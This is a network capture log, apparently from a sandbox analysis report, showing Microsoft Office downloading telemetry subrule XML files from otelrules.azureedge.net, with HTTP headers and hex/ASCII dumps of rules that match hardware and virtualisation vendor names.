2024-11-07 05:01:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:12 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 5df09d77-001e-00a2-0c15-2dd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050112Z-16547b76f7fwvr5dhC1DFW2c9400000007h000000000e116 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:12 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:12 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:12 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a822020c-901e-005b-1ae1-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050112Z-17df447cdb5c9wvxhC1DFWn08n00000003xg00000000p871 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:12 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:13 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:13 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 10bce229-001e-00a2-2560-2ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050113Z-15869dbbcc6zbpm7hC1DFW75xg000000011000000000120x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:13 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:13 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:13 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 1f4a5a54-701e-0032-477b-30a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050113Z-17df447cdb5g2j9ghC1DFWev0800000003v0000000000c78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:13 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:13 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 86fb44b9-501e-0078-06d2-2c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050113Z-16547b76f7fcrtpchC1DFW52e800000007rg000000007r01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:13 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050113Z-15869dbbcc6j87jfhC1DFWky3s00000008xg0000000020hu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:13 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:13 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 6ec68482-201e-005d-0ace-2fafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050113Z-15869dbbcc662ldwhC1DFWbd5g0000000160000000004tbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 52079ed0-501e-0047-273b-2ece6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050114Z-15869dbbcc662ldwhC1DFWbd5g000000011000000000myz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 776f9dcf-101e-008d-0d60-2e92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050114Z-15869dbbcc6xpvqthC1DFWq7d8000000010000000000ntrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:14 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9bdb129b-701e-0053-7392-303a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050114Z-17df447cdb56mx55hC1DFWvbt400000000u000000000hd95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-07 05:01:14 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 03c1180a-901e-007b-2b6d-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050114Z-15869dbbcc6rmhmhhC1DFWd7b8000000088g000000005dmk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 05:01:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:14 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T050114Z-16547b76f7fsjlq8hC1DFWehq000000007eg00000000a9yx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 05:01:14 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:01:14 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
